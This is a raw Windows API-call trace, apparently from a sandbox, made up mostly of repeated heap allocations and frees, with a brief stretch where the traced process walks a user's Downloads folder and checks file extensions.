RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.422] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.422] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.422] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0113.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.426] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0113.426] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.426] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.426] PathFindFileNameW (pszPath="") returned="" [0113.426] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.426] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.426] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.426] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.426] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e) returned 0x31e3c08 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.427] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.427] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0113.427] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.427] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.427] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.427] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.427] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.428] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.429] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.431] HeapFree (in: hHeap=0x660000, 